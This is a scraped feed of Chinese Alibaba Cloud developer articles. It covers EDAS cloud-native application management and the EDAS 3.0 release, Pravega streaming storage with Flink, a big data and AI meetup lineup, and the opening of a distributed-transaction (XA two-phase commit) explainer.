      纵观软件开发历史,类似的问题并不新鲜,编程语言的发展也是如此,在通用开发领域,高级语言早就替代了机器语言成为开发的主流,因为人的智力是有限的,“抽象”一定是解决复杂问题的利器,这也是前文应用定义产生的重要原因,但对于特殊领域和过渡时期,需要一些“例外”手段来提供足够的灵活性。

      因此,尽管用Deployment来直接操作应用存在一些问题,但EDAS并没有“一刀切”的将Deployment的控制权完全收回,而是用“插件式”增强的能力给出了一个答案。

      从实现看,EDAS在操作Deployment时默认会通过patch的方式,若需要新建Deployment(比如分批发布),EDAS也会先以之前Deployment为蓝本复制后再进行对应配置调整。因此,只要在配置不冲突的情况下,用户自定义的配置是完全可以继承的,用户可以在EDAS控制台,通过EDAS的API/SDK,或是直接用kubectl工具来修改Deployment,体验上与独立使用Deployment完全一样。

      9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

      “专业”的云原生

      因为“纯粹”云原生,开发者可以以原生的方式去理解和使用EDAS,但仅有这一点是远远不够的,云原生只是一个技术框架,而应用管理则是个更具体的业务命题,aPaaS平台必须要有血有肉,才能完成在应用托管,应用可观测性,微服务治理等诸多领域,全方位解决问题的任务。

      EDAS既然帮开发者打开了云原生的大门,下一步自然就是将阿里云和阿里中间件的技术优势融入aPaaS,以专业领域的技术优势来帮开发者更好更省的管理应用,这些才是EDAS的“血”和“肉”。

      不可否认,开源社区确实贡献了很多的优秀工具,解决了很多的问题,但他们的短板也同样存在,比如:

        1. 特定的工具往往设计为解决某个“点”或某条“线”上的问题,但解决真实的问题很多是需要多角度协作的,在解决这些问题上,使用多个工具难度会更高,效果也不理想。
        1. 在深度使用开源工具后,最终问题可能变成工具自身的维护能力问题,对运维团队更高要求。

      EDAS从开始就摒弃了使用开源工具集合来拼凑功能的路线,而是基于经过验证的技术或成熟的云产品,从问题出发,构建一整套专业的解决方案给用户。这样对常见的问题更具有针对性,没有整合和维护的问题。如果开源工具就像瑞士军刀,小巧灵活,随取随用;那EDAS提供的能力更像是数控机床,精准高效,可规模化。

      当然,对于开发者而言,使用开源工具或EDAS从不是单选题,在云原生平台下,完全可以通过组合的方式来取长补短,形成最合适的方案。

      这里没有全量讲解EDAS功能,仅列举几个典型的微服务治理的场景。

      金丝雀发布

      金丝雀发布是比较理想的发布方式,可以有效的降低版本发布的风险,也被广泛的用于线上系统的运维过程中,这里不赘述它的好处,对于一次简单的金丝雀发布过程来说,只需要在全量部署前先部署金丝雀实例,能够在验证新版本,验证完发布到全网即可。

      但要在生产系统的实现金丝雀发布,至少还需要解决几个问题:

        1. 部署金丝雀实例后需要将特定的请求流量引入金丝雀实例
        1. 观测到金丝雀实例的运行状况并与原有实例的运行状况进行对比
        1. 当金丝雀发布不符合预期时可回滚整个发布过程

      可见,“完整”的金丝雀发布所需要的能力并不只是应用托管能力,还需要配合可观测性和微服务治理一起协作完成,因此单纯用某个工具或者用简单的Deployment可能很难解决这些问题。

      EDAS也提供了金丝雀发布功能,EDAS的金丝雀发布支持SpringCloud和Dubbo两种开发框架的流量调度,用户只需要上传Jar包,不需要对应用做任何修改,开箱即用。关于EDAS金丝雀发布的使用这里不做详细介绍,可以参考这篇文章:
      https://mp.weixin.qq.com/s?__biz=MzU4NzU0MDIzOQ==&mid=2247489003&idx=3&sn=a7827438814bec3175743d77e3cb4aab&chksm=fdeb278bca9cae9dc08912e7b23669b67bb8145f709d155e84f0d6b63fd278df5b954c3b41f9&token=209782105&lang=zh_CN#rd

      这里简要列出了EDAS金丝雀发布的重要步骤和参与的组件,可看到一些云产品参与了金丝雀发布的过程,其中ACM用来推送灰度流量规则,ARMS负责采集并呈现监控数据,运行于用户侧的Agent则保证了程序可在用户完全无感知下,按照灰度的规则进行服务注册和数据上报:

      9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

      日志管理

      另一个例子是日志管理,应用日志对线上运维有着非比寻常的意义,日志查询也一直是EDAS使用频度最高的功能之一,对于开发者来说完备的日志管理功能就是刚需,EDAS将日志管理的功能通过“日志中心”提供给开发者来使用,其中:

      • 实时日志功能可以让开发者在控制台查看到指定容器在前台产生的输出。

      • 日志目录功能可以方便用户收藏应用需要关注的特定日志项,并提供了即席查询指定的日志文件内容,和检索特定模式的功能。

      实时日志和日志目录功能主要用于满足常用的即席查询需求,但全面的日志管理功能并不仅仅是查询,还包括汇聚,转储,统计分析,监控告警等很多场景,对于这些需求,阿里云的日志服务(SLS)提供了完善的解决方案,SLS完全可以胜任海量日志数据存储,检索,复杂统计分析,多维度数据可视化等场景;而且与流行的开源日志系统(如EFK)相比,SLS在日志管理的功能丰富度,效率,稳定性,成本等方面也均有过之而无不及。

      所以,EDAS与阿里云日志服务(SLS)做了很好的集成,开发者只需要在日志中心配置待采集的日志项,即可将相应的日志转储到SLS,完全免去了配置logtail客户端的操作。EDAS + SLS的组合对开发者来说是一对“黄金搭档”,将应用与数据无缝的衔接起来,带来的不仅是流畅的用户体验,而且是直接将产生的数据服务于数据化运营或智能运维决策的能力,这对产品的带来的价值是不言而喻的。

      下图描述了EDAS日志管理功能的设计思路:

      9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg

      开发者工具

      软件开发是软件生命周期的重要环节,开发与运维是密不可分的,开发的质量决定了现网故障数量和维护工作的投入,开发的效率影响着版本迭代速度和问题修复速度。EDAS在提升软件开发者维护效率的同时,也同样关注开发者软件在生产阶段的体验,从提升开发体验中获取更高的生产力。

      EDAS提供了丰富的开发者工具集来帮助开发者更高效的完成测试和部署,目前全面支持了EDAS云原生应用,工具如下表:

      工具 适用场景 参考文档
      OpenAPI 使用编程的方式来使用EDAS功能 https://help.aliyun.com/document_detail/62038.html
      SDK 同OpenAPI,支持Java,Python https://help.aliyun.com/document_detail/62123.htmlhttps://help.aliyun.com/document_detail/123354.html
      CLI 用命令行的方式使用EDAS功能 https://help.aliyun.com/document_detail/104440.html
      Maven Plugin 快速将Java代码部署到EDAS上 https://help.aliyun.com/document_detail/150674.html
      AlibabaCloudToolkit 快速部署代码和端云互联测试等 https://help.aliyun.com/document_detail/150670.html
      Terraform Provider 快速创建EDAS应用和依赖的资源 https://www.terraform.io/docs/providers/alicloud/d/edas_applications.html

      开启云原生时代

      EDAS努力为开发者提供“更好”的云原生技术,一方面致力于让云原生从少数人能玩转的“阳春白雪”变成真正成熟易用的技术,释放云原生的价值;另一方面,通过集成阿里云的各种优势技术来增强云原生下aPaaS平台的能力,提供更强大和稳定的应用托管服务。

      但如果这些能力需要用户付出高昂的改造成本才能获取,那就是南辕北辙了,所以,使用EDAS必须要比直接使用K8s更为简易,EDAS确实也做到了。对于使用常见的Java框架如SpringCloud,Dubbo开发的应用,EDAS都提供了很方便的接入途径,多数时候并不需要修改软件或者开发流程即可顺利使用,在EDAS创建应用并部署对应的程序包即可;对于使用镜像的应用,EDAS也可以提供正常的功能支持。

      这里举一些例子看看各种不同的应用如何轻松的接入EDAS:

      1. 如果您已经是EDAS用户了,并且有EDAS K8s应用,您可以通过点击“升级新版应用管理”,仅需要花费几分钟即可得到全新的应用管理能力,详细操作可以参见此文档(https://help.aliyun.com/document_detail/156823.html)。
      2. 如果您是阿里云容器服务(ACK)的用户,并且有基于Deployment的应用,可以选择将集群导入到EDAS后,将它们一键转化为EDAS应用,这样既能享受EDAS所带来的更丰富的能力,同时还能保留原有的Deployment配置信息。
      3. 如果您尚未使用过K8s或者没有使用过EDAS,那可以从容器服务(ACK)创建一个K8s集群,将其导入EDAS,直接部署Jar包或者War包即可,通过这几个简单步骤,开箱即用的就能拥有EDAS的全部功能。

      当下云原生已经蔚然成荫,未来已来,是否使用云原生技术不再是问题。如果您渴望治理软件的纷乱绕杂,但对于驾驭云原生没有十足信心,对后期的维护成本倍感压力,不妨把这些难题都交给EDAS,您只需要关注好业务自身,轻装上阵,快速进入云原生时代。

      ]]>
      阿里云EDAS 3.0重磅发布,无侵入构建云原生应用 Fri, 02 May 2025 09:39:04 +0800 9989c5b90f96dedb20d3e717592eeed2c54bdb86.jpeg


      据介绍,EDAS3.0 围绕微服务治理、K8s 集群纳管、监管控一体化、阿里云其他基础产品集成体验进行了全面升级,包括无侵入(无需修改一行代码)即可兼容Spring Cloud/Dubbo近5年发布的所有版本,使用全套微服务治理能力,例如金丝雀发布、离群实例摘除、服务鉴权、无损下线、限流降级和全链路流控等。此外,EDAS3.0 在提供 K8s 集群托管的基础山,提供了应用实例打散一键多 AZ 高可用部署、应用发布版本管理、发布变更跟踪、应用层机制弹性等全流程的管控能力,帮助用户更高效的管理阿里云上的容器集群。

      EDAS产品经理先河在发布会上表示,EDAS3.0 除了在微服务治理和容器纳管上提供了差异化的产品竞争力外,还将阿里巴巴应用应用安全三板斧,即可观测、可灰度、可回滚融合其中,并实现了 K8s 集群的监管控一体化,提供了更多维度的自动监控、智能诊断和报告输出等功能。据悉,包括中国邮政、安利、福特汽车、红岭创投等来自政企、新零售、制造、新金融等行业的客户正通过 EDAS 来构建云上的容器应用。

      云原生时代,K8s 集群的运维管理,和在容器上高效、安全的管理微服务应用都面临了新的挑战,而EDAS 3.0提供了切实可行的应对方案。

      ]]>
      Flink 完美搭档:数据存储层上的 Pravega Fri, 02 May 2025 09:39:04 +0800 作者 | 滕昱 DellEMC 研发总监
      整理 | 赵海凯 DellEMC 实习生

      本文将从大数据架构变迁历史,Pravega 简介,Pravega 进阶特性以及车联网使用场景这四个方面介绍 Pravega,重点介绍 DellEMC 为何要研发 Pravega,Pravega 解决了大数据处理平台的哪些痛点以及与 Flink 结合会碰撞出怎样的火花。

      大数据架构变迁

      Lambda 架构之痛

      640-1.png

      如何有效地提取和提供数据,是大数据处理应用架构是否成功的关键之处。由于处理速度和频率的不同,数据的摄取需要通过两种策略来进行。上图就是典型的 Lambda架构:把大数据处理架构分为批处理和实时流处理两套独立的计算基础架构。

      对于实时处理来说,来自传感器,移动设备或者应用日志的数据通常写入消息队列系统(如 Kafka), 消息队列负责为流处理应用提供数据的临时缓冲。然后再使用 Spark Streaming 从 Kafka 中读取数据做实时的流计算。但由于 Kafka 不会一直保存历史数据,因此如果用户的商业逻辑是结合历史数据和实时数据同时做分析,那么这条流水线实际上是没有办法完成的。因此为了补偿,需要额外开辟一条批处理的流水线,即图中" Batch "部分。

      对于批处理这条流水线来说,集合了非常多的的开源大数据组件如 ElasticSearch, Amazon S3, HDFS, Cassandra 以及 Spark 等。主要计算逻辑是是通过 Spark 来实现大规模的 Map-Reduce 操作,优点在于结果比较精确,因为可以结合所有历史数据来进行计算分析,缺点在于延迟会比较大。

      这套经典的大数据处理架构可以总结出三个问题:

      • 两条流水线处理的延迟相差较大,无法同时结合两条流水线进行迅速的聚合操作,同时结合历史数据和实时数据的处理性能低下。
      • 数据存储成本大。而在上图的架构中,相同的数据会在多个存储组件中都存在一份或多份拷贝,数据的冗余无疑会大大增加企业客户的成本。并且开源存储的数据容错和持久化可靠性一直也是值得商榷的地方,对于数据安全敏感的企业用户来说,需要严格保证数据的不丢失。
      • 重复开发。同样的处理流程被两条流水线进行了两次,相同的数据仅仅因为处理时间不同而要在不同的框架内分别计算一次,无疑会增加数据开发者重复开发的负担。

      流式存储的特点

      在正式介绍 Pravega 之前,首先简单谈谈流式数据存储的一些特点。

      如果我们想要统一流批处理的大数据处理架构,其实对存储有混合的要求。

      640-2.png

      • 对于来自序列旧部分的历史数据,需要提供高吞吐的读性能,即 catch-up read
      • 对于来自序列新部分的实时数据,需要提供低延迟的 append-only 尾写 tailing write 以及尾读 tailing read

      重构的流式存储架构

      640-3.png

      像 Kafka,Cassandra 等分布式存储组件来说,其存储架构都从上往下遵循从专有的日志存储,到本地文件,再到集群上的分布式存储的这种模式。

      而 Pravega 团队试图重构流式存储的架构,引入 Pravega Stream 这一抽象概念作为流式数据存储的基本单位。Stream 是命名的、持久的、仅追加的、无限的字节序列。

      如上图所示,存储架构最底层是基于可扩展分布式云存储,中间层表示日志数据存储为 Stream 来作为共享的存储原语,然后基于 Stream 可以向上提供不同功能的操作:如消息队列,NoSQL,流式数据的全文搜索以及结合 Flink 来做实时和批分析。换句话说,Pravega 提供的 Stream 原语可以避免现有大数据架构中原始数据在多个开源存储搜索产品中移动而产生的数据冗余现象,其在存储层就完成了统一的数据湖。

      重构的大数据架构

      640-4.png

      我们提出的大数据架构,以 Apache Flink 作为计算引擎,通过统一的模型/API来统一批处理和流处理。以 Pavega 作为存储引擎,为流式数据存储提供统一的抽象,使得对历史和实时数据有一致的访问方式。两者统一形成了从存储到计算的闭环,能够同时应对高吞吐的历史数据和低延时的实时数据。同时 Pravega 团队还开发了 Flink-Pravega Connector,为计算和存储的整套流水线提供 Exactly-Once 的语义。

      Pravega 简介

      Pravega 的设计宗旨是为流的实时存储提供解决方案。应用程序将数据持久化存储到 Pravega 中,Pravega 的 Stream 可以有无限制的数量并且持久化存储任意长时间,使用同样的 Reader API 提供尾读 (tail read) 和追赶读 (catch-up read) 功能,能够有效满足离线计算和实时计算两种处理方式的统一。

      Pravega 基本概念

      640-5.png

      结合上图简要介绍 Pravega 的基本概念:

      • Stream

      Pravega 会把写入的数据组织成 Stream,Stream 是命名的、持久的、仅追加的、无限的字节序列。

      • Stream Segments

      Pravega Stream 会划分为一个或多个 Segments,相当于 Stream 中数据的分片,它是一个 append-only 的数据块,而 Pravega 也是基于 Segment 基础上实现自动的弹性伸缩。Segment 的数量也会根据数据的流量进行自动的连续更新。

      • Event

      Pravega's client API 允许用户以 Event 为基本单位写入和读取数据,Event 具体是Stream 内部字节流的集合。如 IOT 传感器的一次温度记录写入 Pravega 就可以理解成为一个 Event.

      • Routing Key

      每一个 Event 都会有一个 Routing Key,它是用户自定义的一个字符串,用来对相似的 Event 进行分组。拥有相同 Routing Key 的 Event 都会被写入相同的 Stream Segment 中。Pravega 通过 Routing Key 来提供读写语义。

      • Reader Group

      用于实现读取数据的负载均衡。可以通过动态增加或减少 Reader Group 中 Reader的数量来改变读取数据的并发度。更为详细的介绍请参考 Pravega 官方文档:

      http://pravega.io/docs/latest/pravega-concepts

      Pravega 系统架构

      640-6.png
      640-7.png

      在控制层面,Controller 作为 Pravega 集群的主节点对数据层面的 Segment Store做管理,提供对流数据的创建,更新以及删除等操作。同时它还承担实时监测集群健康状态,获取流数据信息,收集监控指标等功能。通常集群中会有3份 Controller 来保证高可用。

      在数据层面,Segment Store 提供读写 Stream 内数据的 API。在 Pravega 里面,数据是分层存储的:

      • Tier 1 存储

      Tier1 的存储通常部署在 Pravega 集群内部,主要是提供对低延迟,短期的热数据的存储。在每个 Segment Store 结点都有 Cache 以加快数据读取速率,Pravega 使用Apache Bookeeper 来保证低延迟的日志存储服务。

      • Long-term 存储

      Long-term 的存储通常部署在 Pravega 集群外部,主要是提供对流数据的长期存储,即冷数据的存储。不仅支持 HDFS,NFS,还会支持企业级的存储如 Dell EMC的 ECS,Isilon 等产品。

      Pravega 进阶特性

      读写分离

      640-8.png

      在 Tier1 存储部分,写入数据的时候通过 Bookkeeper 保证了数据已经在所有的 Segment Store 中落盘,保证了数据写入成功。

      读写分离有助于优化读写性能:只从 Tier1 的 Cache 和 Long-term 存储去读,不去读 Tier1 中的 Bookkeeper。

      在客户端向 Pravega 发起读数据的请求的时候,Pravega 会决定这个数据究竟是从Tier1 的 Cache 进行低延时的 tail-read,还是去 Long-term 的长期存储数据(对象存储/NFS)去进行一个高吞吐量的 catch-up read(如果数据不在 Cache,需要按需load 到 Cache 中)。读操作是对客户端透明的。

      Tier1 的 Bookkeeper 在集群不出现故障的情况下永远不进行读取操作,只进行写入操作。

      弹性伸缩

      640-9.png

      Stream 中的 Segment 数量会随着 IO 负载而进行弹性的自动伸缩。以上图为例子简单阐述:

      数据流在 t0 时刻写入 Pravega,根据路由键数据会路由到 Segment0 和Segment1 中,如果数据写入速度保持恒定不变,那么 Segemnt 数量不会发生变化。
      在 t1 时刻系统感知到 segment1 数据写入速率加快,于是将其划分为两个部分:Segment2 和 Segment3。这时候 Segment1 会进入 Sealed 状态,不再接受写入数据,数据会根据路由键分别重定向到 Segment2 和 Segment3.
      与 Scale-Up 操作相对应,系统也可以根据数据写入速度变慢后提供 Scale-Down 操作。如在 t3 时刻系统 Segment2 和 Segment5 写入流量减少,因此合并成新的 Segment6。

      端到端的弹性伸缩

      640-10.png

      Pravega 是以 Kubernetes Operator 来对集群各组件进行有状态的应用部署,这可以使得应用的弹性伸缩更为灵活方便。

      Pravega 最近也在和 Ververica 进行深度合作,致力于在 Pravega 端实现 Kubernetes Pod 级别的弹性伸缩同时在 Flink 端通过 rescaling Flink 的 Task 数量来实现弹性伸缩。

      事务性写入

      640-事务性写入.png

      Pravega 同样提供事务性的写入操作。在提交事务之前,数据会根据路由键写入到不同的 Transaction Segment 中,这时候 Segment 对于 Reader 来说是不可见的。只有在事务提交之后,Transaction Segment 才会各自追加到 Stream Segment 的末尾,这时候 Segment 对于 Reader 才是可见的。写入事务的支持也是实现与 Flink 的端到端 Exactly-Once 语义的关键。

      Pravega vs. Kafka

      640-11.png

      首先最关键的不同在于两者的定位:Kafka 的定位是消息队列,而 Pravega 的定位是存储,会更关注于数据的动态伸缩,安全性,完整性等存储特性。

      对于流式数据处理来说,数据应该被视为连续和无限的。Kafka 作为基于本地文件系统的一个消息队列,通过采用添加到日志文件的末尾并跟踪其内容( offset 机制)的方式来模拟无限的数据流。然而这种方式必然受限于本地文件系统的文件描述符上限以及磁盘容量,因此并非无限。

      而两者的比较在图中给出了比较详细的总结,不再赘述。

      Pravega Flink Connector

      为了更方便与 Flink 的结合使用,我们还提供了 Pravega Flink Connector(https://github.com/pravega/flink-connectors), Pravega 团队还计划将该 Connector 贡献到 Flink 社区。Connector 提供以下特性:

      • 对 Reader 和 Writer 都提供了 Exactly-once 语义保证,确保整条流水线端到端的 Exactly-Once
      • 与 Flink 的 checkpoints 和 savepoints 机制的无缝耦合
      • 支持高吞吐低延迟的并发读写
      • Table API 来统一对 Pravega Sream 的流批统一处理

      车联网使用场景

      640-12.png

      以无人驾驶车联网这种能够产生海量 PB 级数据的应用场景为例:

      • 需要对车况路况数据做实时的处理以及时对路线规划做出微观的预测和规划
      • 需要对较长期行驶数据运行机器学习算法来做路线的宏观预测和规划,这属于批处理
      • 同时需要结合实时处理和批处理,利用历史数据生成的机器学习模型和实时数据反馈来优化检测结果

      而客户关注的关键指标主要在:

      • 如何保证高效地端到端处理速度
      • 如何尽可能减少机器学习模型的训练时间
      • 如何尽可能降低存储数据的消耗与成本

      下面给出引入 Pravega 前后的解决方案比较。

      解决方案比较

      640-13.png
      640-14.png

      Pravega 的引入无疑大大简洁了大数据处理的架构:

      • Pravega 作为抽象的存储接口,数据在 Pravega 层就实现了一个数据湖:批处理,实时处理和全文搜索都只需要从 Pravega 中获取数据。数据只在 Pravega 存储一份,而不需要像第一种方案中数据冗余地存储在 Kafka,ElasticSearch 和 Long Term Storage 中,这可以极大减少了企业用户数据存储的成本。
      • Pravega 能够提供自动的 Tier Down,无需引入 Flume 等组件来进行额外的 ETL 开发。
      • 组件得到精简,从原来的 Kafka+Flume+HDFS+ElasticSearch+Kibana+Spark+SparkStreaming 精简到 Pravega+Flink+Kibana+HDFS ,减轻运维人员的运维压力。
      • Flink 能够提供流批处理统一的功能,无需为相同的数据提供两套独立的处理代码。

      总 结

      Flink 俨然已经成为流式计算引擎中的一颗闪亮的明星,然而流式存储领域尚是一片空白。而 Pravega 的设计初衷就是为了填上大数据处理架构这一拼图最后的空白。“所有计算机领域的问题,都可以通过增加一个额外的中间层抽象解决”,而 Pravega 本质就是在计算引擎和底层存储之间充当解耦层,旨在解决新一代大数据平台在数据存储层上的挑战。

      Tips:点击下方链接可回顾作者分享视频及了解更多 Flink 社区生态篇直播~

      ]]>
      这场大数据+AI Meetup,一次性安排了大数据当下热门话题 Fri, 02 May 2025 09:39:04 +0800 近年来,随着工业界多年的努力以及新兴技术的不断涌现,数据规模庞大的问题已逐步得到解决,而数据处理的时效性、数据价值的挖掘正成为企业及开发者面临的新的巨大挑战。也因此,大数据计算引擎、AI、数据仓库、数据湖等成为当前无可争议的热门话题。

      • 当前大数据计算引擎各有千秋,如何选择适合自己的?
      • 数据仓库、数据湖、HSAP 架构,它们究竟能解决什么问题?
      • 机器学习平台那么多,好用的有哪些?

      KV 2350*1000.png

      6月14日,阿里巴巴计算平台事业部与阿里云开发者社区共同举办的大数据+AI Meetup 系列第一季即将重磅开启,此次 Meetup 邀请了来自阿里巴巴、Databricks、快手、网易云音乐的7位技术专家,集中解读大数据当前热门话题!

      ▼ 活动亮点 ▼

      > 超豪华嘉宾阵容!
      多位资深技术专家在线分享对行业趋势的洞察!

      > 极丰富干货分享!
      集结大数据热门议题,一次看完:
      数据处理、数仓、数据湖、AI 等技术实践与生产应用落地。

      > 多种奖品拿到手软!
      直播间已准备超多精美礼品,现场送送送!
      预约直播并参与互动即有机会领走哦。

      本次 Meetup 您将了解:

      1. Spark 3.0 有哪些新功能
      2. 从 Lambda 架构到 HSAP,数仓未来趋势如何
      3. 流批一体机器学习算法平台 Alink 易用性的提升
      4. Flink + Kafka 在网易云音乐的落地实践
      5. 数据湖如何解决数据实时入库问题
      6. 2020 春晚活动中快手实时链路保障独家实践分享
      7. Flink 1.11 最新版本功能特性深度解读

      如何观看:

      报名.png


      (扫码报名)

      《深入研究 Apache Spark 3.0 的新功能》

      李潇 | Databricks Spark 研发部主管

      27.png

      嘉宾简介:

      李潇,就职于 Databricks,Spark 研发部主管,领导 Spark,Koalas,Databricks runtime,OEM 的研发团队。Apache Spark Committer、PMC 成员。2011 年从佛罗里达大学获得获得了博士学位。曾就职于 IBM,获发明大师称号(Master Inventor),是异步数据库复制和一致性验证的领域专家,发表专利十余篇。(Github: gatorsmile)

      《从 Lambda 架构到 HSAP,实时数仓的演进之路》

      姜伟华(果贝) | 阿里巴巴 资深技术专家

      28.png

      嘉宾简介:

      姜伟华博士,阿里巴巴资深技术专家。曾长期在 Intel、唯品会等公司工作。在 Intel期间,创建并负责 Intel 大数据研发团队,创立 Intel 大数据发行版,并连续多年保持国内市场占有率第一。领导 Intel 大数据开源,团队涌现出 10+ Apache Committer,创立两个 Apache 项目。曾获 Intel 最高奖(Intel Achievement Award)和 Intel 中国最高奖(Intel China Award)。在唯品会期间负责大数据平台与 AI 平台。现在阿里巴巴从事新一代大数据交互式分析引擎的研发工作。

      《Alink:提升基于 Flink 的机器学习平台易用性》

      杨旭(品数)| 阿里巴巴 资深算法专家

      29.png

      嘉宾简介:

      杨旭(品数),阿里巴巴资深算法专家,阿里云机器学习平台 PAI 中基础机器学习算法的负责人。2004 年获南开大学数学博士学位;随后在南开大学信息学院从事博士后研究工作;2006 年加入微软亚洲研究院,进行符号计算、大规模矩阵计算及机器学习算法研究;2010 年加入阿里巴巴,从事大数据相关的统计和机器学习算法研发,2017 年带领团队研发基于Flink的流批一体的机器学习平台 Alink,现已开源。出版《重构大数据统计》,《机器学习在线:解析阿里云机器学习平台》等著作。

      《Flink + KafKa 在网易云音乐的应用实战》

      岳猛 | 网易云音乐 实时计算平台研发工程师

      30.jpg

      嘉宾简介:

      岳猛,网易云音乐 实时计算平台研发工程师,Apache Flink Contributor。先后任职杭州华为技术有限公司大数据平台,网易杭研 sloth 实时计算平台,网易云音乐 magina 实时计算平台。目前负责网易云音乐实时计算平台的研发,在开源领域是 ZK,Calcite,Apache Flink 项目的 Contributor。

      《Delta Lake 如何帮助云用户解决数据实时入库问题》

      辛庸 | 阿里巴巴 技术专家

      31.png

      嘉宾简介:

      辛现银,花名辛庸,阿里巴巴计算平台事业部 EMR 技术专家。Apache Hadoop,Apache Spark contributor。对 Hadoop、Spark、Hive、Druid 等大数据组件有深入研究。目前从事大数据云化相关工作,专注于计算引擎、存储结构、数据库事务等内容。

      《Apache Flink 快手春晚项目的落地》

      刘建刚 | 快手 开发工程师

      32.png

      嘉宾简介:

      刘建刚,快手开发工程师。毕业于北京航空航天大学,曾就职于百度,目前就职于快手,从事实时计算方向。

      《Flink 1.11 Table&SQL 深度解读》

      李劲松(之信) | 阿里巴巴 技术专家

      7之信.png

      嘉宾简介:

      李劲松,花名之信,Apache Flink Committer,2014 年起专注于阿里内部 Galaxy 流计算框架;2017 年起开始 Flink 研发,主要专注于 Batch 计算、数据结构与类型。

      以上为本次 Meetup 详细嘉宾介绍,6月14日 10:00,大数据+AI Meetup 直播间期待您的到来,还有更多精美礼品,参与互动即可领取!点击下方链接即可预约 Meetup 直播~

      https://developer.aliyun.com/live/2894?spm=a2c6h.12873587.0.0.127052c20epnNs

      Tips:了解更多 Meetup 信息可钉钉扫描下方二维码进群咨询。

      640-6.14 交流群.jpg
      (大数据 + AI Meetup 交流群)

      ]]>
      如何选择分布式事务解决方案? Fri, 02 May 2025 09:39:04 +0800 image.png

      概述

      事务是一组不可分组的操作集合,这些操作要么都成功执行,要么都取消执行。最典型的需要事务的场景是银行账户间的转账:假如 A 账户要给 B 账户转账 100 元,那么 A 账户要扣减 100 元,B 账户要增加 100 元,这两个账户的数据变更都成功才可算作转账成功。更严格来说,可以用 ACID 四个特性表述事务:

      • Atomicity:原子性,事务中的所有操作要么都成功执行,要么都取消执行,不能存在部分执行,部分不执行的状态。
      • Consistency:一致性,举个例子简单的理解就是,A、B 两个账户各有 100 元,无论两个账户并发相互转账多少次,两个账户的资金总额依然是 200 元。
      • Isolation:隔离性,并发事务之间的相互影响程度,隔离性也是分级别的:读未提交、读已提交、可重复读等。
      • Durability:持久性,事务完成后对数据的更改不会丢失。

      单体数据库不涉及网络交互,所以在多表之间实现事务是比较简单的,这种事务我们称之为本地事务。

      但是单体数据库的性能达到瓶颈的时候,就需要分库(分物理实例),就会出现跨库(数据库实例)的事务需求;随着企业应用的规模越来越大,企业会进一步进行服务化改造,以满足业务增长的需求;当前微服务架构越来越流行,跨服务的事务场景也会越来越多。

      这些都是分布式事务的需求。分布式事务是指是指事务的发起者、参与者、数据资源服务器以及事务管理器分别位于分布式系统的不同节点之上。

      概括起来,分布式事务有三种场景:

      • 跨数据库分布式事务
      • 跨服务分布式事务
      • 混合式分布式事务

      image.png

      分布式事务中涉及的参与者分布在异步网络中,参与者通过网络通信来达到分布式一致性,网络通信不可避免出现失败、超时的情况,因此分布式事务的实现比本地事务面临更多的困难。下面介绍几种常见的分布式事务解决方案。

      分布式事务模式

      XA Specification

      最早的分布式事务产品可能是 AT&T 在 20 世纪 80 年代推出的 Tuxedo (Transactions for Unix, Extended for Distributed Operations),Tuxedo 最早是为了电信领域的 OLTP 系统研发的分布式事务中间件,后来标准化组织 X/Open 吸收采纳了 Tuxedo 的设计思想和一些接口,推出了分布式事务规范:XA Specification。

      XA 规范中定义了分布式事务处理模型,这个模型中包含四个核心角色:

      • RM (Resource Managers):资源管理器,提供数据资源的操作、管理接口,保证数据的一致性和完整性。最有代表性的就是数据库管理系统,当然有的文件系统、MQ 系统也可以看作 RM。
      • TM (Transaction Managers):事务管理器,是一个协调者的角色,协调跨库事务关联的所有 RM 的行为。
      • AP (Application Program):应用程序,按照业务规则调用 RM 接口来完成对业务模型数据的变更,当数据的变更涉及多个 RM 且要保证事务时,AP 就会通过 TM 来定义事务的边界,TM 负责协调参与事务的各个 RM 一同完成一个全局事务。
      • CRMs (Communication Resource Managers):主要用来进行跨服务的事务的传播。

      下图是 XA 规范中定义的事务模型图,其中:发起分布式事务的 TM 实例称之为 root 节点,其他的 TM 实例可以统称为事务的参与者。事务发起者负责开启整个全局事务,事务参与者各自负责执行自己的事务分支。如果TM实例发起了对其他 TM 实例的服务调用,那么发起者就被成为 Superior,被调用这就被称之为 Subordinate 节点。

      image.png

      XA 规范中分布式事务是构建在 RM 本地事务(此时本地事务被看作分支事务)的基础上的,TM 负责协调这些分支事务要么都成功提交、要么都回滚。XA 规范把分布式事务处理过程划分为两个阶段,所以又叫两阶段提交协议(two phrase commit):

      1)预备阶段

      TM 记录事务开始日志,并询问各个 RM 是否可以执行提交准备操作。

      RM 收到指令后,评估自己的状态,尝试执行本地事务的预备操作:预留资源,为资源加锁、执行操作等,但是并不提交事务,并等待 TM 的后续指令。如果尝试失败则告知 TM 本阶段执行失败并且回滚自己的操作,然后不再参与本次事务(以 MySQL 为例,这个阶段会完成资源的加锁,redo log 和 undo log 的写入)。

      TM 收集 RM 的响应,记录事务准备完成日志。

      2)提交/回滚阶段

      这个阶段根据上个阶段的协调结果发起事务的提交或者回滚操作。

      如果所有 RM 在上一个步骤都返回执行成功,那么:

      • TM 记录事务 commit 日志,并向所有 RM 发起事务提交指令。
      • RM 收到指令后,提交事务,释放资源,并向 TM 响应“提交完成”。
      • 如果 TM 收到所有 RM 的响应,则记录事务结束日志。

      如果有 RM 在上一个步骤中返回执行失败或者超时没有应答,则 TM 按照执行失败处理,那么:

      • 记录事务 abort 日志,向所有 RM 发送事务回滚指令。
      • RM 收到指令后,回滚事务,释放资源,并向 TM 响应回滚完成。
      • 如果 TM 收到所有 RM 的响应,则记录事务结束日志。

      image.png

      针对部分场景,XA 规范还定义了如下优化措施:

      • 如果 TM 发现整个事务只涉及到一个 RM,那么就会将整个过程退化为一阶段提交。
      • 如果 RM 收到的 AP 的数据操作是只读操作,那么它可以在阶段 1 就将事务完成并告知 TM 其不再参与阶段 2 的过程。会有脏读的风险。
      • 如果 RM 在阶段1完成后,长时间等不到阶段 2 的指令,那么其可以自动提交或者回滚本地事务。这叫做 Heuristic Completion,注意这种场景有可能会破坏事务的一致性,产生异常。

      XA 规范中详细定义了各个核心组件之间的交互接口,以 TM 和 RM 的交互接口为例,如下图,一次完整的全局事务,TM 和 RM 之间的交互还是比较频繁的:

      image.png

      事务的执行过程中,宕机和网络超时都有可能发生,针对这些异常场景,不同 XA 规范的实现,对异常处理做法可能不同,可参考如下:

